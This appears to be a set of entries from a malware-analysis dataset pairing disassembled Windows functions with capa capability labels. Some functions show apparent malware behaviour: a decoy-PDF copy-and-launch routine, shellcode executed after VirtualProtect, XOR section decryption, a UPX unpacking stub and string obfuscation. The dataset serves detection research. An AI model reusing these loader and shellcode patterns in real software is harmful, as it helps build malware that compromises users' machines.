joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40fdb0
Capabilities:
Read file on windows

Disassembly:
push ebx
push esi
mov esi, dword [esp + 0xc]
cmp dword [esi + 0x14], 0
push edi
jne 0x40fdd1
push esi
call fcn.0040f7c0
mov dword [esi + 0x14], 1
mov dword [esi + 0xc], 0
mov ebx, dword [esi + 0xc]
mov edi, dword [esp + 0x18]
cmp ebx, edi
jl 0x40fe4a
mov eax, dword [esi + 0x10]
add eax, dword [esi + 4]
mov ecx, edi
sub eax, ebx
sub ecx, 1
je 0x40fe37
sub ecx, 1
je 0x40fe22
sub ecx, 2
je 0x40fe0f
push edi
push eax
mov eax, dword [esp + 0x1c]
push eax
call sub.MSVCRT.dll_memcpy
add esp, 0xc
sub dword [esi + 0xc], edi
mov eax, edi
pop edi
pop esi
pop ebx
ret 0xc
mov ecx, dword [eax]
mov edx, dword [esp + 0x14]
mov dword [edx], ecx
sub dword [esi + 0xc], edi
mov eax, edi
pop edi
pop esi
pop ebx
ret 0xc
mov ax, word [eax]
mov ecx, dword [esp + 0x14]
mov word [ecx], ax
sub dword [esi + 0xc], edi
mov eax, edi
pop edi
pop esi
pop ebx
ret 0xc
mov dl, byte [eax]
mov eax, dword [esp + 0x14]
mov byte [eax], dl
sub dword [esi + 0xc], edi
mov eax, edi
pop edi
pop esi
pop ebx
ret 0xc
mov ecx, dword [esi + 0x10]
push ebp
mov ebp, dword [esp + 0x18]
sub ecx, ebx
add ecx, dword [esi + 4]
push ebx
push ecx
push ebp
call sub.MSVCRT.dll_memcpy
mov eax, dword [esi + 8]
add esp, 0xc
sub edi, ebx
add ebp, ebx
cmp edi, eax
push 0
jl 0x40fe93
mov eax, dword [esi]
lea edx, [esp + 0x18]
push edx
push edi
push ebp
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [esp + 0x14]
pop ebp
pop edi
mov dword [esi + 0xc], 0
pop esi
add eax, ebx
pop ebx
ret 0xc
mov edx, dword [esi + 4]
lea ecx, [esp + 0x18]
push ecx
push eax
mov eax, dword [esi]
push edx
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [esp + 0x14]
cmp edi, eax
mov dword [esi + 0xc], eax
mov dword [esi + 0x10], eax
jle 0x40feb6
mov edi, eax
mov ecx, dword [esi + 4]
push edi
push ecx
push ebp
call sub.MSVCRT.dll_memcpy
sub dword [esi + 0xc], edi
add esp, 0xc
pop ebp
lea eax, [ebx + edi]
pop edi
pop esi
pop ebx
ret 0xc
Function at 0x40fee0
Capabilities:
Write file on windows

Disassembly:
push ecx
push esi
mov esi, dword [esp + 0xc]
cmp dword [esi + 0x14], 1
push edi
mov dword [esp + 8], 0
jne 0x40ff02
mov eax, dword [esi + 8]
mov dword [esi + 0x14], 0
mov dword [esi + 0xc], eax
mov ecx, dword [esi + 0xc]
mov edi, dword [esp + 0x18]
cmp ecx, edi
jle 0x40ff7b
mov eax, dword [esi + 8]
add eax, dword [esi + 4]
sub eax, ecx
mov ecx, edi
sub ecx, 1
je 0x40ff68
sub ecx, 1
je 0x40ff53
sub ecx, 2
je 0x40ff40
mov ecx, dword [esp + 0x14]
push edi
push ecx
push eax
call sub.MSVCRT.dll_memcpy
add esp, 0xc
sub dword [esi + 0xc], edi
mov eax, edi
pop edi
pop esi
pop ecx
ret 0xc
mov edx, dword [esp + 0x14]
mov ecx, dword [edx]
mov dword [eax], ecx
sub dword [esi + 0xc], edi
mov eax, edi
pop edi
pop esi
pop ecx
ret 0xc
mov edx, dword [esp + 0x14]
mov cx, word [edx]
mov word [eax], cx
sub dword [esi + 0xc], edi
mov eax, edi
pop edi
pop esi
pop ecx
ret 0xc
mov edx, dword [esp + 0x14]
mov cl, byte [edx]
mov byte [eax], cl
sub dword [esi + 0xc], edi
mov eax, edi
pop edi
pop esi
pop ecx
ret 0xc
push esi
call fcn.0040f7c0
mov eax, dword [esi + 8]
cmp edi, eax
jl 0x40ffa8
mov eax, dword [esp + 0x14]
mov ecx, dword [esi]
push 0
lea edx, [esp + 0xc]
push edx
push edi
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov eax, dword [esp + 8]
pop edi
pop esi
pop ecx
ret 0xc
mov ecx, dword [esi + 4]
sub ecx, dword [esi + 0xc]
mov edx, dword [esp + 0x14]
push edi
push edx
add ecx, eax
push ecx
call sub.MSVCRT.dll_memcpy
add esp, 0xc
sub dword [esi + 0xc], edi
mov eax, edi
pop edi
pop esi
pop ecx
ret 0xc

Function at 0x411000
Capabilities:
Check for software breakpoints

Disassembly:
cmp dword [esi + 0x14], 0xcc
je 0x411025
mov eax, dword [esi + 0x180]
mov ecx, dword [eax]
push esi
call ecx
add esp, 4
mov dword [esi + 0x78], 0
mov dword [esi + 0x14], 0xcc
mov edx, dword [esi + 0x180]
cmp byte [edx + 8], 0
je 0x411050
mov eax, dword [esi]
mov dword [eax + 0x14], 0x30
mov ecx, dword [esi]
mov edx, dword [ecx]
push esi
call edx
mov eax, dword [esi + 0x180]
add esp, 4
cmp byte [eax + 8], 0
jne 0x411031
xor ecx, ecx
cmp byte [esi + 0x41], cl
mov al, 1
setne cl
add ecx, 0xcd
mov dword [esi + 0x14], ecx
ret
Function at 0x411110
Capabilities:
Check for software breakpoints

Disassembly:
push esi
mov esi, dword [esp + 8]
cmp dword [esi + 0x14], 0xca
jne 0x41113f
push esi
call fcn.00410ad0
add esp, 4
cmp byte [esi + 0x40], 0
je 0x411138
mov dword [esi + 0x14], 0xcf
mov al, 1
pop esi
ret
mov dword [esi + 0x14], 0xcb
mov eax, dword [esi + 0x14]
cmp eax, 0xcb
jne 0x4111ba
mov eax, dword [esi + 0x190]
cmp byte [eax + 0x10], 0
je 0x4111aa
mov eax, dword [esi + 8]
test eax, eax
je 0x411164
mov ecx, dword [eax]
push esi
call ecx
add esp, 4
mov edx, dword [esi + 0x190]
mov eax, dword [edx]
push esi
call eax
add esp, 4
test eax, eax
je 0x4111a6
cmp eax, 2
je 0x4111aa
mov ecx, dword [esi + 8]
test ecx, ecx
je 0x411155
cmp eax, 3
je 0x41118c
cmp eax, 1
jne 0x411155
add dword [ecx + 4], 1
mov eax, dword [esi + 8]
mov ecx, dword [eax + 4]
cmp ecx, dword [eax + 8]
jl 0x411155
mov edx, dword [esi + 0x11c]
add dword [eax + 8], edx
jmp 0x411155
xor al, al
pop esi
ret
mov eax, dword [esi + 0x7c]
mov dword [esi + 0x84], eax
call fcn.00411000
pop esi
ret
cmp eax, 0xcc
je 0x4111dc
mov ecx, dword [esi]
mov dword [ecx + 0x14], 0x14
mov edx, dword [esi]
mov eax, dword [esi + 0x14]
mov dword [edx + 0x18], eax
mov ecx, dword [esi]
mov edx, dword [ecx]
push esi
call edx
add esp, 4
call fcn.00411000
pop esi
ret

Function at 0x4157e0
Capabilities:
Query environment variable

Disassembly:
push ecx
push ebx
push esi
push edi
mov edi, dword [esp + 0x14]
xor ebx, ebx
push edi
mov dword [edi + 4], ebx
call fcn.00418080
push 0x54
push edi
mov dword [esp + 0x18], eax
call fcn.00418010
mov esi, eax
add esp, 0xc
cmp esi, ebx
jne 0x415826
push edi
call fcn.00418090
mov eax, dword [edi]
mov dword [eax + 0x14], 0x36
mov ecx, dword [edi]
mov dword [ecx + 0x18], ebx
mov edx, dword [edi]
mov eax, dword [edx]
push edi
call eax
add esp, 8
mov dword [esi], fcn.00414cd0
mov dword [esi + 4], fcn.00414e20
mov dword [esi + 8], fcn.00414ee0
mov dword [esi + 0xc], fcn.00414f90
mov dword [esi + 0x10], 0x415040
mov dword [esi + 0x14], 0x4150b0
mov dword [esi + 0x18], 0x415120
mov dword [esi + 0x1c], 0x415400
mov dword [esi + 0x20], 0x415540
mov dword [esi + 0x24], fcn.00415690
mov dword [esi + 0x28], 0x4157a0
mov dword [esi + 0x30], 0x3b9aca00
mov ecx, dword [esp + 0xc]
mov dword [esi + 0x2c], ecx
mov dword [esi + 0x38], ebx
mov dword [esi + 0x40], ebx
mov dword [esi + 0x34], ebx
mov dword [esi + 0x3c], ebx
mov dword [esi + 0x44], ebx
mov dword [esi + 0x48], ebx
mov dword [esi + 0x4c], 0x54
push str.JPEGMEM
mov dword [edi + 4], esi
call dword [sym.imp.MSVCRT.dll_getenv]
add esp, 4
cmp eax, ebx
je 0x415901
lea edx, [esp + 0x14]
push edx
lea ecx, [esp + 0x10]
push ecx
push str._ld_c
push eax
mov byte [esp + 0x24], 0x78
call dword [sym.imp.MSVCRT.dll_sscanf]
add esp, 0x10
test eax, eax
jle 0x415901
mov al, byte [esp + 0x14]
cmp al, 0x6d
je 0x4158dc
cmp al, 0x4d
jne 0x4158f4
mov eax, dword [esp + 0xc]
imul eax, eax, 0x3e8
imul eax, eax, 0x3e8
pop edi
mov dword [esi + 0x2c], eax
pop esi
pop ebx
pop ecx
ret
mov eax, dword [esp + 0xc]
imul eax, eax, 0x3e8
mov dword [esi + 0x2c], eax
pop edi
pop esi
pop ebx
pop ecx
ret
Function at 0x100014a0
Capabilities:
Encode data using base64
Encode data using xor
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
mov eax, ecx
push esi
mov esi, eax
mov dword [ebp - 4], eax
push edi
lea ecx, [esi + 1]
mov al, byte [esi]
inc esi
test al, al
jne 0x100014b3
sub esi, ecx
lea eax, [esi + 1]
push eax
call fcn.10007876
add esp, 4
xor ebx, ebx
mov edi, eax
test esi, esi
jle 0x100014fd
sub dword [ebp - 4], edi
mov dword [ebp - 8], 0xa
nop word [eax + eax]
xor edx, edx
lea ecx, [ebx + edi]
mov eax, ebx
inc ebx
div dword [ebp - 8]
mov al, byte [edx + str.msasn1.dll]
mov edx, dword [ebp - 4]
xor al, byte [ecx + edx]
mov byte [ecx], al
cmp ebx, esi
jl 0x100014e0
lea ecx, [esi*4]
mov byte [edi + esi], 0
mov eax, 0xaaaaaaab
lea ebx, [edi + esi]
mul ecx
mov eax, 0x38e38e39
mov ecx, edx
shr ecx, 1
add ecx, 4
mul ecx
shr edx, 4
lea eax, [edx + 1]
add eax, ecx
push eax
call fcn.10007876
add esp, 4
mov dword [ebp - 8], eax
test eax, eax
jne 0x1000153f
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
cmp esi, 3
jl 0x100015a9
movzx ecx, byte [edi]
sub esi, 3
shr ecx, 2
movzx ecx, byte [ecx + 0x1001ab40]
mov byte [eax], cl
inc eax
movzx edx, byte [edi]
movzx ecx, byte [edi + 1]
and edx, 3
shr ecx, 4
shl edx, 4
or edx, ecx
movzx ecx, byte [edx + 0x1001ab40]
mov byte [eax], cl
inc eax
movzx edx, byte [edi + 1]
movzx ecx, byte [edi + 2]
and edx, 0xf
shr ecx, 6
shl edx, 2
or edx, ecx
movzx ecx, byte [edx + 0x1001ab40]
mov byte [eax], cl
inc eax
movzx ecx, byte [edi + 2]
add edi, 3
and ecx, 0x3f
movzx ecx, byte [ecx + 0x1001ab40]
mov byte [eax], cl
inc eax
cmp esi, 3
jge 0x10001544
sub ebx, edi
je 0x100015ff
movzx ecx, byte [edi]
shr ecx, 2
mov cl, byte [ecx + 0x1001ab40]
mov byte [eax], cl
inc eax
movzx edx, byte [edi]
and edx, 3
shl edx, 4
cmp ebx, 1
jne 0x100015d6
mov cl, byte [edx + 0x1001ab40]
mov dl, 0x3d
mov byte [eax], cl
jmp 0x100015f5
movzx ecx, byte [edi + 1]
shr ecx, 4
or ecx, edx
mov cl, byte [ecx + 0x1001ab40]
mov byte [eax], cl
movzx ecx, byte [edi + 1]
and ecx, 0xf
mov dl, byte [ecx*4 + 0x1001ab40]
mov byte [eax + 1], dl
mov byte [eax + 2], 0x3d
add eax, 3
pop edi
pop esi
mov byte [eax], 0
mov eax, dword [ebp - 8]
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10001610
Capabilities:
Copy file
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xa00
lea eax, [ebp - 0x200]
push 0
push eax
push 0x104
push 0x1001aab4
call dword [sym.imp.KERNEL32.dll_GetFullPathNameA]
lea ecx, [ebp - 0x200]
dec ecx
nop dword [eax]
mov al, byte [ecx + 1]
lea ecx, [ecx + 1]
test al, al
jne 0x10001640
mov eax, dword [str.Document]
mov dword [ecx], eax
mov eax, dword [0x1001aabc]
mov dword [ecx + 4], eax
mov ax, word [0x1001aac0]
mov word [ecx + 8], ax
lea eax, [ebp - 0x200]
push eax
push str._s.pdf
lea eax, [ebp - 0x600]
push 0x400
push eax
call fcn.10001010
add esp, 0x10
lea eax, [ebp - 0x600]
push 0
push eax
lea eax, [ebp - 0x200]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
test eax, eax
je 0x100016dc
mov ecx, str.qNEMrTRzk9KLwMgLjOeoLA
call fcn.10001400
lea ecx, [ebp - 0x600]
push ecx
push eax
push str._s___s_
lea eax, [ebp - 0xa00]
push 0x400
push eax
call fcn.10001010
mov eax, dword [sym.imp.KERNEL32.dll_WinExec]
add esp, 0x14
test eax, eax
je 0x100016dc
push 0
lea ecx, [ebp - 0xa00]
push ecx
call eax
xor eax, eax
mov esp, ebp
pop ebp
ret
Function at 0x10001cc0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
mov esi, edi
mov dword [ebp - 4], 0
movzx eax, byte [esi]
inc esi
cmp byte [eax + str.________________________________________________456789:_________], 0x3f
jbe 0x10001cd3
mov ecx, edi
call fcn.10001350
mov ebx, eax
sub esi, edi
lea eax, [ebp - 4]
push eax
push 0x40
lea eax, [esi + 2]
cdq
and edx, 3
add eax, edx
sar eax, 2
lea eax, [eax + eax*2]
inc eax
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x10001d0f
call ebx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x10001d20
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub dword [ebp + 0xc], 1
jne 0x10001d71
push esi
push 0
push 0
push 0
push sym.wtsapi32.dll__WTSSetRenderHints_0
push 0
push 0
call fcn.10005a5e
add esp, 0x18
call fcn.10005415
lea esi, [eax + 0x7d0]
nop dword [eax]
call fcn.10005415
cmp eax, esi
jl 0x10001d50
pop esi
push 0
push 0
push 0
push sym.wtsapi32.dll__WTSVirtualChannelsPurgeOutput_0
push 0
push 0
call fcn.10005a5e
add esp, 0x18
mov eax, 1
pop ebp
ret 0xc

Function at 0x10001d80
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x14
push ebx
push esi
push edi
call fcn.100019c0
mov edi, eax
mov dword [esp + 0x1c], edi
test edi, edi
je 0x10001edb
push edi
mov ecx, str.sVF2OfN6N9WQReLJLLpOh4KFO3YBWca642Fg
call fcn.10001400
mov ecx, eax
call fcn.100016f0
add esp, 4
mov ebx, eax
cmp edx, 0x194
je 0x10001ed3
mov cl, bl
mov eax, edx
cmp edx, 0xdc
je 0x10001ea1
cmp eax, 0xc8
jne 0x10001e8d
movsx eax, cl
cmp eax, 0x1001aada
je 0x10001e8d
mov ecx, str.IBARI17YjMtnO_aNJ5tUg
call fcn.10001400
mov ecx, str.5QIBMxJ18xcjH32UdFk_w
mov dword [esp + 0x10], eax
call fcn.10001400
mov ecx, ebx
xor edx, edx
xor esi, esi
mov edi, eax
test ecx, ecx
je 0x10001e83
push edi
push ebx
call fcn.10002c30
mov ecx, eax
add esp, 8
test ecx, ecx
je 0x10001e81
lea edx, [edi + 1]
mov al, byte [edi]
inc edi
test al, al
jne 0x10001e22
sub edi, edx
lea ebx, [edi + ecx]
mov dword [esp + 0x14], ebx
test ebx, ebx
je 0x10001e81
push dword [esp + 0x10]
push ebx
call fcn.10002c30
mov edi, eax
add esp, 8
test edi, edi
je 0x10001e81
sub edi, ebx
lea ecx, [edi + 1]
push ecx
call fcn.10007876
add esp, 4
mov ebx, eax
push edi
push dword [esp + 0x18]
push ebx
call fcn.10007640
add esp, 0xc
mov byte [edi + ebx], 0
test ebx, ebx
je 0x10001e81
mov edx, ebx
mov esi, edx
lea ecx, [esi + 1]
mov al, byte [esi]
inc esi
test al, al
jne 0x10001e76
sub esi, ecx
jmp 0x10001e83
mov edx, esi
test esi, esi
jne 0x10001ebe
mov edi, dword [esp + 0x1c]
jmp 0x10001ea1
call fcn.10005415
lea esi, [eax + 0xea60]
call fcn.10005415
cmp eax, esi
jl 0x10001e98
call fcn.10005415
lea esi, [eax + 0x7530]
nop dword [eax]
call fcn.10005415
cmp eax, esi
jl 0x10001eb0
jmp 0x10001d9f
push esi
push edx
call fcn.10001cc0
add esp, 8
push 0x2710
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10007c58
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x10007c97
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x10007c97
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x10007c97
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x10007c97
cmp dword [ecx + 0x74], 0xe
jbe 0x10007c97
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret

Function at 0x10009ee2
Capabilities:
Allocate thread local storage

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x10016b44
push 0x10016b3c
push str.FlsAlloc
push 0x1f
call fcn.10009d61
mov esi, eax
add esp, 0x10
test esi, esi
je 0x10009f16
push dword [ebp + 8]
mov ecx, esi
call dword [0x10015164]
call esi
jmp 0x10009f1c
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
pop esi
pop ebp
ret 4

Function at 0x10009f60
Capabilities:
Get thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x10016b54
push 0x10016b4c
push str.FlsGetValue
push 0x21
call fcn.10009d61
mov esi, eax
add esp, 0x10
test esi, esi
je 0x10009f97
push dword [ebp + 8]
mov ecx, esi
call dword [0x10015164]
call esi
pop esi
pop ebp
ret 4
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsGetValue]

Function at 0x10009f9f
Capabilities:
Set thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x10016b5c
push 0x10016b54
push str.FlsSetValue
push 0x22
call fcn.10009d61
mov esi, eax
add esp, 0x10
test esi, esi
je 0x10009fd9
push dword [ebp + 0xc]
mov ecx, esi
push dword [ebp + 8]
call dword [0x10015164]
call esi
pop esi
pop ebp
ret 8
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsSetValue]
Function at 0x1000cb69
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
je 0x1000cc06
push ebx
push esi
call fcn.1000cb32
xor ebx, ebx
sub eax, esi
push ebx
push ebx
push ebx
push ebx
sar eax, 1
push eax
push esi
push ebx
push ebx
mov dword [ebp - 8], eax
call fcn.1000cac6
add esp, 0x24
mov dword [ebp - 4], eax
test eax, eax
jne 0x1000cbb3
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x1000cc05
push edi
push eax
call fcn.1000a237
mov edi, eax
pop ecx
push ebx
test edi, edi
jne 0x1000cbd3
call fcn.10009709
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x1000cc04
push ebx
push dword [ebp - 4]
push edi
push dword [ebp - 8]
push esi
push ebx
push ebx
call fcn.1000cac6
add esp, 0x20
test eax, eax
jne 0x1000cbf2
push edi
call fcn.10009709
jmp 0x1000cbfa
push ebx
call fcn.10009709
mov ebx, edi
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, ebx
pop edi
pop ebx
pop esi
leave
ret
Function at 0x10014300
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x1001432d
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x1001432d
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret

Function at 0x42e006
Capabilities:
Encode data using xor

Disassembly:
mov eax, section..text
nop
nop
mov ebx, 0x407ef8
mov ecx, 0x5dd67249
nop
test eax, eax
nop
nop
nop
nop
nop
nop
nop
nop
je 0x42e04e
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
inc eax
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
jne 0x42e024
nop
nop
mov eax, section..data
nop
nop
mov ebx, 0x42cd70
nop
mov ecx, 0x6c4d5616
nop
test eax, eax
nop
nop
nop
nop
nop
je 0x42e084
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
nop
add eax, 4
nop
nop
nop
nop
cmp eax, ebx
nop
nop
jne 0x42e06c
nop
nop
nop
nop
popal
nop
nop
nop
jmp 0x401219
Function at 0x534a10
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0xde000]
push edi
jmp 0x534a2a
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x534a31
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x534a20
mov eax, 1
add ebx, ebx
jne 0x534a43
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x534a54
jne 0x534a73
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x534a73
dec eax
add ebx, ebx
jne 0x534a60
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0x534a38
add ebx, ebx
jne 0x534a6f
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jmp 0x534ac5
xor ecx, ecx
sub eax, 3
jb 0x534a8b
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x534afa
sar eax, 1
mov ebp, eax
jmp 0x534a96
add ebx, ebx
jne 0x534a96
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x534a64
inc ecx
add ebx, ebx
jne 0x534aa4
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x534a64
add ebx, ebx
jne 0x534ab1
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x534aa6
jne 0x534ac2
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x534aa6
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 2
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x534ae4
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x534ad6
jmp 0x534a26
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x534ae4
add edi, ecx
jmp 0x534a26
pop esi
mov edi, esi
mov ecx, 0x3ed3
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x534b02
cmp byte [edi], 0x11
jne 0x534b02
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x534b07
lea edi, [esi + 0x12d000]
mov eax, dword [edi]
or eax, eax
je 0x534b7f
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x18fddc]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x18ff58]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x534b34
mov ecx, edi
jns 0x534b63
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x18ff5c]
or eax, eax
je 0x534b79
mov dword [ebx], eax
add ebx, 4
jmp 0x534b51
call dword [esi + 0x18ff6c]
add edi, 4
lea ebx, [esi - 4]
xor eax, eax
mov al, byte [edi]
inc edi
or eax, eax
je 0x534bb0
cmp al, 0xef
ja 0x534ba3
add ebx, eax
mov eax, dword [ebx]
xchg ah, al
rol eax, 0x10
xchg ah, al
add eax, esi
mov dword [ebx], eax
jmp 0x534b85
and al, 0xf
shl eax, 0x10
mov ax, word [edi]
add edi, 2
jmp 0x534b92
mov ebp, dword [esi + 0x18ff60]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x22f]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x534be4
sub esp, 0xffffff80
jmp 0x427dcd
Function at 0x10039490
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov dword [ebp - 0xc], ecx
mov dword [ebp - 4], 0x5f
mov dword [ebp - 8], 0
jmp 0x100394b2
mov eax, dword [ebp - 8]
add eax, 1
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0x12
jge 0x100394f1
mov ecx, dword [ebp + 8]
add ecx, dword [ebp - 8]
movsx edx, byte [ecx - 0x7161b027]
xor edx, dword [ebp - 4]
mov eax, dword [ebp - 0xc]
add eax, dword [ebp - 8]
mov byte [eax], dl
mov ecx, dword [ebp - 4]
add ecx, 1
mov dword [ebp - 4], ecx
mov edx, dword [ebp - 4]
and edx, 0x800000ff
jns 0x100394ec
dec edx
or edx, 0xffffff00
inc edx
mov dword [ebp - 4], edx
jmp 0x100394a9
mov eax, dword [ebp - 0xc]
mov byte [eax + 0x12], 0
mov eax, dword [ebp - 0xc]
mov esp, ebp
pop ebp
ret 4

Function at 0x10039510
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov dword [ebp - 0xc], ecx
mov dword [ebp - 4], 0xc2
mov dword [ebp - 8], 0
jmp 0x10039532
mov eax, dword [ebp - 8]
add eax, 1
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0x1a
jge 0x10039571
mov ecx, dword [ebp + 8]
add ecx, dword [ebp - 8]
movsx edx, byte [ecx + 0xf03ad50]
xor edx, dword [ebp - 4]
mov eax, dword [ebp - 0xc]
add eax, dword [ebp - 8]
mov byte [eax], dl
mov ecx, dword [ebp - 4]
add ecx, 1
mov dword [ebp - 4], ecx
mov edx, dword [ebp - 4]
and edx, 0x800000ff
jns 0x1003956c
dec edx
or edx, 0xffffff00
inc edx
mov dword [ebp - 4], edx
jmp 0x10039529
mov eax, dword [ebp - 0xc]
mov byte [eax + 0x1a], 0
mov eax, dword [ebp - 0xc]
mov esp, ebp
pop ebp
ret 4

Function at 0x10039590
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov dword [ebp - 0xc], ecx
mov dword [ebp - 4], 0xa7
mov dword [ebp - 8], 0
jmp 0x100395b2
mov eax, dword [ebp - 8]
add eax, 1
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0xa
jge 0x100395f1
mov ecx, dword [ebp + 8]
add ecx, dword [ebp - 8]
movsx edx, byte [ecx - 0x2079c0a8]
xor edx, dword [ebp - 4]
mov eax, dword [ebp - 0xc]
add eax, dword [ebp - 8]
mov byte [eax], dl
mov ecx, dword [ebp - 4]
add ecx, 1
mov dword [ebp - 4], ecx
mov edx, dword [ebp - 4]
and edx, 0x800000ff
jns 0x100395ec
dec edx
or edx, 0xffffff00
inc edx
mov dword [ebp - 4], edx
jmp 0x100395a9
mov eax, dword [ebp - 0xc]
mov byte [eax + 0xa], 0
mov eax, dword [ebp - 0xc]
mov esp, ebp
pop ebp
ret 4

Function at 0x10039610
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov dword [ebp - 0xc], ecx
mov dword [ebp - 4], 0x93
mov dword [ebp - 8], 0
jmp 0x10039632
mov eax, dword [ebp - 8]
add eax, 1
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 7
jge 0x10039671
mov ecx, dword [ebp + 8]
add ecx, dword [ebp - 8]
movsx edx, byte [ecx + 0x53062dc]
xor edx, dword [ebp - 4]
mov eax, dword [ebp - 0xc]
add eax, dword [ebp - 8]
mov byte [eax], dl
mov ecx, dword [ebp - 4]
add ecx, 1
mov dword [ebp - 4], ecx
mov edx, dword [ebp - 4]
and edx, 0x800000ff
jns 0x1003966c
dec edx
or edx, 0xffffff00
inc edx
mov dword [ebp - 4], edx
jmp 0x10039629
mov eax, dword [ebp - 0xc]
mov byte [eax + 7], 0
mov eax, dword [ebp - 0xc]
mov esp, ebp
pop ebp
ret 4